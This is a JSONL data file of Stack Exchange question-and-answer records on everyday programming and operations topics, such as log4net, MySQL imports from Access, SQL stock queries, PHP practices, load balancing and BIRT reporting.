{"id": "hf_aef734dff423", "question": "<p>I want my application to clean all the temp files it used, the problem is that not all the  temp files are under my control, so I just want to \"brutally\" unlock them in order to delete them programatically.</p>\n", "question_body": "", "answer": "Surely, of your application is wanting to clean up the temp files it owns, then you have full control to unlock these files and delete them!\nIf you're wanting to delete all TEMP files, whether owned by your application or otherwise, you should be VERY careful.  The original application probably applied the lock because it wants to use the file!\nIf you truly need to, you could always spawn a command-line application rather than trying to replicate the functionality of existing tools which will be difficult in C#.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:23.935338"}
{"id": "hf_4d57cff7e84b", "question": "<p>Currently I use the <a href=\"http://www.onepageprojectmanager.com/oppm/resource.html\" rel=\"nofollow noreferrer\">\"One Page Project Manager\" Excel Template</a> for project status reports. It contains a summary of last week's work and a forecast for the next week. For all important tasks we track, if they are comleted or not. Everything on one page. I send this report every week to all participants/stakeholders. (hint: I do not work in an agile environment)</p>\n\n<p>How do you report your project status?</p>\n", "question_body": "", "answer": "Status reporting should be brief (nobody likes to sit there for ages while every member of the team goes on and on about their status) so I'm a big fan of SOFT reports:\nSuccesses\n- what have you achieved since the last status meeting: tasks directly off the project schedule. If possible I tried to avoid reporting x% done -- it's either done, or it's not. Reporting by % means that tasks will sit at 95% for\nweeks\n. This also encourages the project manager/tech lead to break down the work breakdown structure into tasks that are no longer than a few days.\nOpportunities\n- have you identified any opportunities: things that will help the project that aren't being considered yet (e.g.: found a better way to script something, a library that will save the project from implementing something themselves, etc)\nFuture Work\n- what are you working on between now and the next status meeting: again, directly off the project schedule.\nThreats\n- have you identified anything that will impact your ability to get your scheduled work done? e.g.: a previously-unidentified hole in the requirements, support calls are taking a big chunk of your time, implementing something turns out to be harder than expected, etc.\nIdeally I would try and avoid doing this stuff in a big project meeting since 90% of the material is irrelevant to half the people in the room. I like to collect SOFT reports before the meeting, spend some time looking at them before the meeting and then discuss specific issues that are probably relevant to everybody during the actual meeting.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:23.984029"}
{"id": "hf_fd728c249ff4", "question": "<p>Due to the nature of the live server I deploy to, my mail settings are using deliveryMethod=\"PickupDirectoryFromIis\". I'm using log4net to send logs via email and I need find a way of getting it to do the same thing.</p>\n\n<p>I can see from the docs that there is an SmtpPickupDirAppender, which has a pickupDir setting. If I set this to whatever pickup directory IIS uses, I'm sure everything will work OK. However what I really want is to just tell log4net to use IIS's setting and leave it there. That way if it ever changes we won't have to change the log4net config too, something we're likely to forget. Is there a way to do this?</p>\n", "question_body": "", "answer": "AFAIK, that's not possible. Although it sounds like a good idea.\nOne of the greatest things about log4net is that you can change your configuration without having to restart or recompile the application (check the\nFAQ\n), so you don't need to worry about having a downtime in your logging.\nI don't know if you can query the IIS for the SMTP pick up directory, maybe if this is possible you can add some background job that queries the IIS for this information?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:24.024258"}
{"id": "hf_79c6b5d6a9d9", "question": "<p>I know there are already a few questions regarding recommendations for C++ unit test frameworks, but all the answers did not help as they just recommend one of the frameworks but do not provide any information about a (feature) comparison.</p>\n\n<p>I think the most interesting frameworks are CppUnit, Boost and the new Google testing framework. Has anybody done any comparison yet?</p>\n", "question_body": "", "answer": "See this question\nfor some discussion.\nThey recommend the articles:\nExploring the C++ Unit Testing Framework Jungle\n, By Noel Llopis. \nAnd the more recent:\nC++ Test Unit Frameworks\nI have not found an article that compares googletest to the other frameworks yet.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:24.071928"}
{"id": "hf_56fc366f35fe", "question": "<p>I have a problem, and was hoping I could rely on some of the experience here for advice and a push in the right direction. I have an MS Access file made by propietary software. I only want to take half the columns from this table, and import into new(not yet setup)mysql database.</p>\n\n<p>I have no idea how to do this or what the best way is. New data will be obtained each night, and again imported, as an automatic task.</p>\n\n<p>One of the columns in the access database is a url to a jpeg file, I want to download this file and import into the database as a BLOB type automatically.</p>\n\n<p>Is there a way to do this automatically? This will be on a windows machine, so perhaps it could be scripted with WSH?</p>\n", "question_body": "", "answer": "This is a bash script\nlinux\nexample using\nmdbtools\nfor automatic extraction and import from a mdb file to mysql.\n```\n```\n#!/bin/bash\n\nMDBFILE=\"Data.mdb\"\n\nOPTIONS=\"-H -D %y-%m-%d\"\nmdb-export $OPTIONS $MDBFILE  TableName_1 >  output_1.txt\nmdb-export $OPTIONS $MDBFILE  TableName_2 >  output_2.txt\n\nmdb-export $OPTIONS $MDBFILE  TableName_n >  output_n.txt\n\nMYSQLOPTIONS=' --fields-optionally-enclosed-by=\" --fields-terminated-by=, -r '\nmysqlimport $MYSQLOPTIONS -L -uuser -ppasword database output_1.txt\nmysqlimport $MYSQLOPTIONS -L -uuser -ppasword database output_2.txt\nmysqlimport $MYSQLOPTIONS -L -uuser -ppasword database output_n.txt\n```\n```\nYou can use some others mysqlimport options: \n--delete: to delete previous Data from the target mysql table. \n--ignore: ignore duplicates\n--replace: replace if a duplicate is found\nIt's not a windows solution but i Hope it helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:24.144412"}
{"id": "hf_9414a59819d6", "question": "<p>How can I add a plaintext into encrypted ciphertext?</p>\n\n<p>For example, I would like to add number 4 into encrypted(5)</p>\n", "question_body": "", "answer": "@Bill the lizard:\nWell you can, if you are using ECB or any other block mode where the n+1 block doesn't require much knowledge about block n you can chain on an extra block (or even insert a block as in the case of ecb).\nHowever this leaves you open to mitm-attacks and so on...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:24.168750"}
{"id": "hf_7c7ae87f2b26", "question": "<p>Does the HTML \"select\" element have an on select event? what exactly is the name of the event?</p>\n", "question_body": "", "answer": "Is\n```\nonchange\n```\nwhat you're looking for?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:24.192674"}
{"id": "hf_36cd40d61e59", "question": "<p>I have two tables, one stores the products and quantity we have bought, the other stores the sells. The current stock is therefore the sum of all the quantity columns in the bought table minus the number of rows in the sells table. How can this be expressed in MySQL. Remember that there are many different products.</p>\n\n<p><strong>EDIT:</strong>\nTo make it harder, I have another requirement. I have the bought table, the sold table, but I also have the products table. I want a list of all the products, and I want to know the quantity available of each product. The problem with the current answers is that they only return the products that we have sold or bought already. I want all the products.</p>\n", "question_body": "", "answer": "Try this\n```\n```\nSELECT inv_t.product_id, inventory_total-nvl(sales_total,0)\nFROM \n  (SELECT product_id, sum(quantity) as inventory_total\n   FROM inventory\n   GROUP BY product_id) inv_t LEFT OUTER JOIN\n  (SELECT product_id, count(*) AS sales_total \n   FROM sales \n   GROUP BY product_id) sale_t\n  ON (inv_t.product_id = sale_t.product_id)\n```\n```\nThis is a better solution than a few of the other ones posted, which do not account for the fact that some products may not have any corresponding rows in the sales table.  You want to make sure that such products also show up in the results.\nNVL is an Oracle-specific function that returns the value of the first argument, unless it's null, in which case it returns the value of the second argument.  There are equivalent functions in all commercial DBMSes -- you can use CASE in MySQL to the same effect.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:24.276267"}
{"id": "hf_d3f45b313a15", "question": "<p>What does Java do with long variables while performing addition?</p>\n\n<p>Wrong version 1:</p>\n\n<pre><code>Vector speeds = ... //whatever, speeds.size() returns 2\nlong estimated = 1l;\nlong time = speeds.size() + estimated; // time = 21; string concatenation??\n</code></pre>\n\n<p>Wrong version 2:</p>\n\n<pre><code>Vector speeds = ... //whatever, speeds.size() returns 2\nlong estimated = 1l;\nlong time = estimated + speeds.size(); // time = 12; string concatenation??\n</code></pre>\n\n<p>Correct version:</p>\n\n<pre><code>Vector speeds = ... //whatever, speeds.size() returns 2\nlong estimated = 1l;\nlong size = speeds.size();\nlong time = size + estimated; // time = 3; correct\n</code></pre>\n\n<p>I don't get it, why Java concatenate them.</p>\n\n<p>Can anybody help me, why two primitive variables are concatenated?</p>\n\n<p>Greetings, guerda</p>\n", "question_body": "", "answer": "I suspect you're not seeing what you think you're seeing. Java doesn't do this.\nPlease try to provide a\nshort but complete program\nwhich demonstrates this. Here's a short but complete program which demonstrates correct behaviour, but with your \"wrong\" code (i.e. a counterexample).\n```\n```\nimport java.util.*;\n\npublic class Test\n{\n    public static void main(String[] args)\n    {\n        Vector speeds = new Vector();\n        speeds.add(\"x\");\n        speeds.add(\"y\");\n\n        long estimated = 1l;\n        long time = speeds.size() + estimated;\n        System.out.println(time); // Prints out 3\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:24.313011"}
{"id": "hf_0a7de734bd2b", "question": "<p>I'm using a Response.Redirect to redirect users to another server to download a file, and the other server is checking the header to ensure it came from the correct server... however it seems Response.Redirect strips the headers from the Response.</p>\n\n<p>Does anybody know how i can add the headers back?  I've tried:</p>\n\n<pre><code>Response.AddHeader(\"Referer\", \"www.domain.com\");\n</code></pre>\n\n<p>But the receiving page tests false when i check if the Referrer header is set.  </p>\n\n<p>Any suggestions how i can get this working, other than displaying a button for the user to click on (i'd like to keep the url hidden from the user as much as possible).</p>\n", "question_body": "", "answer": "I don't think it's possible.  What you are sending back to the client is a Location header that tells the client to load the page referred to instead of the page it originally requested.  In this case the client is not coming from a link and thus does not set the referrer header.  It's basically as if the user typed the redirect url in the location bar in his browser.\nYou may be able to save the referrer in the session, or encode it in the URL as a query parameter.  Like the Forms login does with ReturnUrl.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:24.354017"}
{"id": "hf_4eba983df359", "question": "<p>Any links/Turorials avalable? I want to write a simple ISAPI plugin for IIS6.0.</p>\n\n<p>Prefered language c++</p>\n", "question_body": "", "answer": "Below is a quick (and simple) ISAPI Filter example. I found it very useful when trying to write my first ISAPI plugin.\nhttp://blogs.msdn.com/rakkimk/archive/2007/03/01/writing-a-simple-isapi-filter.aspx\nBest of luck.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:24.480152"}
{"id": "hf_8a5253125d49", "question": "<p>Is it possible to get a list of control events that are going to fire before they happen, say inside the <code>Page_Load</code> handler?</p>\n\n<p>For example if a button was clicked can I figure this out before the <code>button_click</code> event handler is called?</p>\n", "question_body": "", "answer": "The following contains the mangled id for a button when clicked.\n```\n```\nPage.Request.Form[\"__EVENTTARGET\"]\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:24.515084"}
{"id": "hf_3ac90f893c39", "question": "<p>On a website, everything is tagged with keywords assigned by the staff (it's not a community driven site, due to its nature). I am able to determine which tags a user is most active in (or, what tags they view the most). However, I'm not sure how to choose the list. A few options present themselves, but they don't seem right to me.</p>\n\n<ul>\n<li>Take the top n (or m &lt; n if they have fewer than n viewed tags) tags</li>\n<li>Take the top n tags where n is a percentage of the total tags viewed</li>\n<li>Take the top n tags with m views where n and m are percentages of total tags viewed and total page views</li>\n<li>Take all of the tags, regardless of views</li>\n</ul>\n\n<p>The goal is to identify what is most interesting to the user and show them other things that they might be interested in, with respect to the tags that are assigned to the content.</p>\n", "question_body": "", "answer": "You could look at machine learning algorithms to find algorithms with which to evaluate the effectiveness of your choice.\nLike for instance:\nhttp://en.wikipedia.org/wiki/Supervised_learning#Approaches_and_algorithms\nStuff like nearest neighbour and bayes could help you improve your suggestions.\nThis is however overkill for just suggesting \"Would you like to look at this too?\", but it's an interesting approach to providing better tie-ins. It would, however require some method to figure out whether or not your users value your suggestions (e.g. \"I like this!\"-links or log-analysis based on time spent on links, etc.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:24.549561"}
{"id": "hf_67740b2e40c0", "question": "<p>I have a key that appears to be an empty string, however using <code>unset($array[\"\"]);</code> does not remove the key/value pair. I don't see another function that does what I want, so I'm guessing it's more complicated that just calling a function.</p>\n\n<p>The line for the element on a print_r is <code>[] =&gt; 1</code>, which indicates to me that the key is the empty string.</p>\n\n<p>Using var_export, the element is listed as <code>'' =&gt; 1</code>.</p>\n\n<p>Using var_dump, the element is listed as <code>[\"\"]=&gt;int(1)</code>.</p>\n\n<p>So far, I have tried all of the suggested methods of removal, but none have removed the element. I have tried <code>unset($array[\"\"]);</code>, <code>unset($array['']);</code>, and <code>unset($array[null]);</code> with no luck.</p>\n", "question_body": "", "answer": "My guess is that it's not an empty string.  Try the following to see what you get:\n```\n```\nforeach ($array as $index => $value) {\n    echo $index;\n    echo ' is ';\n    echo gettype($index);\n    echo \"\\n\";\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:24.572536"}
{"id": "hf_2b9b03d87ac1", "question": "<p>The thing is I've been using the <a href=\"http://msdn.microsoft.com/en-us/library/c5kehkcz.aspx\" rel=\"noreferrer\">lock statement</a> to protect a critical part of my code, but now, I realize I could allow concurrent execution of that critical code is some conditions are met.<br>\nIs there a way to condition the lock?</p>\n", "question_body": "", "answer": "```\n```\nAction doThatThing = someMethod;\n\nif (condition)\n{\n  lock(thatThing)\n  {\n     doThatThing();\n  }\n}\nelse\n{\n  doThatThing();\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:24.595760"}
{"id": "hf_aaa25c0882a7", "question": "<p>From what I understand, if you have multiple web servers, then you need some kind of load balancer that will split the traffic amongst your web servers.</p>\n\n<p>Does this mean that the load balancer is the main connecting point on the network? ie. the load balancer has the IP address of the domain name?</p>\n\n<p>If this is the case, it makes it really easy to add new hardware since you don't have to wait for any dns propogation right?</p>\n", "question_body": "", "answer": "There are several solutions to this \"problem\".\nYou could round-robin at the DNS-level. I.e. have www.yourdomain.com point to several IP-addresses (well all your servers).\nThis doesn't give you any intelligence in the load balancing, but the load will be more or less randomly distributed, but you wouldn't be resilient to hardware failures as they would still require changes to DNS.\nOn the other hand you could use a proxy or a loadbalancing proxy that has a single IP but then distributes the traffic to several back-end boxes. This gives you a single point of failure (the proxy, you could of course have several proxies to defeat that problem) and would also give you the added bonus of being able to use some metric to divide the load more evenly and intelligently than with just round-robin dns.\nThis setup can also handle hardware failure in the back-end pretty seamlessly. The end user never sees the back-end, just the front-end.\nThere are other issues to think about as well, if your page uses sessions or other smart logic, you can run into synchronisation problems when your user (potentially) hits different servers on every access.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:24.619202"}
{"id": "hf_4c2e4f01f47c", "question": "<p>I have a set of tables that are used to track bills. These tables are loaded from an SSIS process that runs weekly.</p>\n\n<p>I am in the process of creating a second set of tables to track adjustments to the bills that are made via the web. Some of our clients hand key their bills and all of those entries need to be backed up on a more regular schedule (the SSIS fed data can always be imported again so it isn't backed up).</p>\n\n<p>Is there a best practice for this type of behavior? I'm looking at implementing a DDL trigger that will parse the ALTER TABLE call and change the table being called. This is somewhat painful, and I'm curious if there is a better way.</p>\n", "question_body": "", "answer": "I personally would have the SSIS-fed tables in one database (set to simple recovery mode) and the other tables in a separate database on the same server which is set to full recovery mode,. Then I would set up backups on the second datbase on a regular schedule. A typical backup schedule would be full backup once a week, differntials nightly  and transaction backups every 15-30 minutes depending on how much data is being input.) Be sure to periodically test recovering the backups, learning how to do that when the customer is screaming becasue the datbase is down isn;t a good thing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:24.680602"}
{"id": "hf_d0104aa90fb7", "question": "<p>I'm looking to improve my PHP coding and am wondering what PHP-specific techniques other programmers use to improve productivity or workaround PHP limitations.</p>\n\n<p>Some examples:</p>\n\n<ol>\n<li><p>Class naming convention to handle namespaces: <code>Part1_Part2_ClassName</code> maps to file <code>Part1/Part2/ClassName.php</code></p></li>\n<li><p><code>if ( count($arrayName) ) // handles $arrayName being unset or empty</code></p></li>\n<li><p>Variable function names, e.g. <code>$func = 'foo'; $func($bar); // calls foo($bar);</code></p></li>\n</ol>\n", "question_body": "", "answer": "My experience with PHP has taught me a few things. To name a few:\nAlways output errors. These are the first two lines of my typical project (in development mode):\n```\n```\nini_set('display_errors', '1');\nerror_reporting(E_ALL);\n```\n```\nNever use\nautomagic\n. Stuff like autoLoad may bite you in the future.\nAlways require dependent classes using\n```\nrequire_once\n```\n. That way you can be sure you'll have your dependencies straight.\nUse\n```\nif(isset($array[$key]))\n```\ninstead of\n```\nif($array[$key])\n```\n. The second will raise a warning if the key isn't defined.\nWhen defining variables (even with\n```\nfor\n```\ncycles) give them verbose names (\n```\n$listIndex\n```\ninstead of\n```\n$j\n```\n)\nComment, comment, comment. If a particular snippet of code doesn't seem obvious, leave a comment. Later on you might need to review it and might not remember what it's purpose is.\nOther than that, class, function and variable naming conventions are up to you and your team. Lately I've been using\nZend Framework's naming conventions\nbecause they feel right to me.\nAlso, and when in development mode, I set an error handler that will output an error page at the slightest error (even warnings), giving me the\nfull backtrace\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:24.705801"}
{"id": "hf_1d27bbe8b54a", "question": "<p>Does anyone have experience with developing for Sharepoint 2003 using Visual Studio 2008?</p>\n\n<p>I need to upgrade to VS2008 because of Vista issues but need to support Sharepoint 2003 webparts. The webparts are all pretty simple. Will I be able to support those webparts using VS2008?</p>\n", "question_body": "", "answer": "I've created .net 2.0 assemblies using vs2008, and linked with sharepoint 2007 libraries and then deployed on sharepoint servers.  You won't be able to create .net 1.1 assemblies with vs2008 out of the box - so if you need to target .net 1.1 your best bet is to stick with a virtual server setup.\nDeveloping for sharepoint on vista (or xp for that matter) is challenging because you can't debug line by line unless you attach remotely to server2k3.  My recommendation for sharepoint developers is to install virtual server on vista, and then install vstudio on the virtual server with sharepoint.  If you are going to do this, you can stick with your current version of visual studio, and then debugging is much easier than from vista.\nDepending on whether your company has an msdn subscription, this can be more costly if you have to buy a virtual server license, etc...  but it is well worth it to make development easier, in my opinion.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:24.736641"}
{"id": "hf_9b6dcf6949e9", "question": "<p>Did someone ever used a BIRT report in a desktop application. I'm comming from the .NET environment and there you can use Crystal Reports to show reports in desktop apps. Is this possible with BIRT too, without having to set up a server environment?</p>\n\n<p>Can you give me some advice how to reach this goal?</p>\n\n<p>Thanks in advance.</p>\n", "question_body": "", "answer": "Yes, it is possible. I used it in a project I did about 1-2 years ago so I'll have to get back to you with the details. (Though things might have changed since then)\nHere are the plugins\nI\nneeded:\n```\n```\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<classpath>\n    <classpathentry kind=\"src\" path=\"src\"/>\n    <classpathentry kind=\"con\" path=\"org.eclipse.jdt.launching.JRE_CONTAINER\"/>\n    <classpathentry kind=\"var\" path=\"JUNIT_HOME/junit.jar\" sourcepath=\"JUNIT_SRC_HOME/junitsrc.zip\"/>\n    <classpathentry kind=\"lib\" path=\"lib/log4j-1.2.14.jar\"/>\n    <classpathentry kind=\"lib\" path=\"lib/swt.jar\"/>\n    <classpathentry kind=\"con\" path=\"SWT_CONTAINER\"/>\n    <classpathentry kind=\"lib\" path=\"org.eclipse.birt.chart_2.1.2.v20070205-1728.jar\"/>\n    <classpathentry kind=\"lib\" path=\"org.eclipse.birt.chart.device.extension_2.1.2.v20070205-1728.jar\"/>\n    <classpathentry kind=\"lib\" path=\"org.eclipse.birt.chart.device.swt_2.1.1.v20070205-1728.jar\"/>\n    <classpathentry kind=\"lib\" path=\"org.eclipse.birt.chart.engine_2.1.2.v20070205-1728.jar\" sourcepath=\"C:/Programme/eclipse/plugins/org.eclipse.birt.chart.source_2.2.0.v20070209/src\"/>\n    <classpathentry kind=\"lib\" path=\"org.eclipse.birt.chart.engine.extension_2.1.2.v20070205-1728.jar\"/>\n    <classpathentry kind=\"lib\" path=\"org.eclipse.birt.chart.runtime_2.1.2.v20070205-1728.jar\"/>\n    <classpathentry kind=\"lib\" path=\"org.eclipse.birt.core_2.1.2.v20070205-1728.jar\"/>\n    <classpathentry kind=\"lib\" path=\"org.eclipse.emf.common_2.2.1.v200609210005.jar\"/>\n    <classpathentry kind=\"lib\" path=\"org.eclipse.emf.ecore_2.2.1.v200609210005.jar\"/>\n    <classpathentry kind=\"lib\" path=\"org.eclipse.emf.ecore.xmi_2.2.1.v200609210005.jar\"/>\n    <classpathentry kind=\"lib\" path=\"js.jar\"/>\n    <classpathentry kind=\"lib\" path=\"com.ibm.icu_3.4.5.jar\"/>\n    <classpathentry kind=\"lib\" path=\"org.eclipse.birt.chart.ui_2.1.1.v20070205-1728.jar\"/>\n    <classpathentry kind=\"lib\" path=\"org.eclipse.birt.chart.ui.extension_2.1.2.v20070205-1728.jar\"/>\n    <classpathentry kind=\"lib\" path=\"lib/hsqldb.jar\"/>\n    <classpathentry kind=\"output\" path=\"bin\"/>\n</classpath>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:24.774146"}
{"id": "hf_a93e2bc9fb50", "question": "<p>I remember hearing Joel say he has 2 different locations where the servers are located, each location has 2 front end servers and 1 back end server.</p>\n\n<ol>\n<li><p>If a one of the hosting facilities goes down, how can he switch over to the other one?  (Or is it just going to be a DNS change that will take 24-72 hours to propagate?).</p></li>\n<li><p>How can a single SQL Server instance have so many databases on it?  FB has a completely separate database per account.  I can't see a single SQL Server instance having more than say 200-250 databases on it!  And I'm sure they have more customers than that.</p></li>\n</ol>\n", "question_body": "", "answer": "They talked about this in one of the Stack Overflow podcasts, but I can't find it in the transcripts.\n1) Each of the two centers handles approximately 1/2 of the users. Fairly often (hourly, I think Joel said) they ship transaction logs to the other site. If site A goes down, they bring up the db backups on site B, and do the DNS switchover. It won't be instantaneous or automated, nor do they want it to be, because they'll be coming up with slightly stale data, and want to avoid that if it's at all possible to bring the broken site back up.\nI'm not sure how they handle the DNS situation, but you can set the TTL on DNS records to mere seconds to limit caching, and have failover occur very quickly.\n2) Why not? I'm not sure of the hard limit of databases per instance, but there's also nothing keeping you from running multiple instances of SQL Server on your box. I would imagine you're more limited by hardware than software. (You can also run Fogbugz with a MySQL database backend).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:24.827550"}
{"id": "hf_23822b0a5648", "question": "<p>I am using a ASP/.Net webpage and i want to upload a pdf file into a SQL Database as a binary    I am uping the build in upload control, can you please suggest a way of doing this. I also need to no how to read the pdf back and display it in a web browser. I will be using linq to upload and query my sql database.</p>\n", "question_body": "", "answer": "You can use the\n```\nVARBINARY(MAX)\n```\ntype in your database, create a LINQ to SQL mapping and use the\n```\nBinary\n```\ntype with the\n```\nbyte[]\n```\ntype containing your PDF file's content.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:24.863330"}
{"id": "hf_6891244ee269", "question": "<p>Windows Mobile pops up a \"busy wheel\" - a rotating colour disk - when things are happening .  I can't find in the documentation how this is done - can someone point me in the right direction?</p>\n\n<p>We have a situation where we need to prompt the user to say we're doing stuff for a while, but we don't know how long it will take. So we can't do a progress bar, hence the proposal to use this busy wheel.</p>\n", "question_body": "", "answer": "I'm just guessing here, but I'd imagine it is\nCWaitCursor\n.  Basically, you just create one on the stack, it appears, and disapppears when it is destructed as it goes out of scope e.g.\n```\n```\nvoid DoSomethingSlow()\n{\n  CWaitCursor cw;\n.\n.\n.\n.\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:24.963602"}
{"id": "hf_06c321a700aa", "question": "<p>I was wondering how to unit test abstract classes, and classes that extend abstract classes.</p>\n\n<p>Should I test the abstract class by extending it, stubbing out the abstract methods, and then test all the concrete methods? Then only test the methods I override, and test the abstract methods in the unit tests for objects that extend my abstract class?</p>\n\n<p>Should I have an abstract test case that can be used to test the methods of the abstract class, and extend this class in my test case for objects that extend the abstract class?</p>\n\n<p>Note that my abstract class has some concrete methods.</p>\n", "question_body": "", "answer": "I would argue against \"abstract\" tests. I think a test is a concrete idea and doesn't have an abstraction. If you have common elements, put them in helper methods or classes for everyone to use.\nAs for testing an abstract test class, make sure you ask yourself what it is you're testing. There are several approaches, and you should find out what works in your scenario. Are you trying to test out a new method in your subclass? Then have your tests only interact with that method. Are you testing the methods in your base class? Then probably have a separate fixture only for that class, and test each method individually with as many tests as necessary.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:24.989286"}
{"id": "hf_f7a840c10832", "question": "<p>I'm launching a Weblogic application inside Eclipse via the BEA Weblogic Server v9.2 runtime environment. If this were running straight from the command-line, I'd do a ctrl-BREAK to force a thread dump. Is there a way to do it in Eclipse?</p>\n", "question_body": "", "answer": "Did you try to launch your eclipse with java.exe instead of javaw.exe (in your\neclipse.ini\n) ?\nThat might give you the console you need, as described in\nthis bug\nand in\nthis message\n.\nOther ideas (in term of java options) could be derived from this\nother SO question\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:25.040104"}
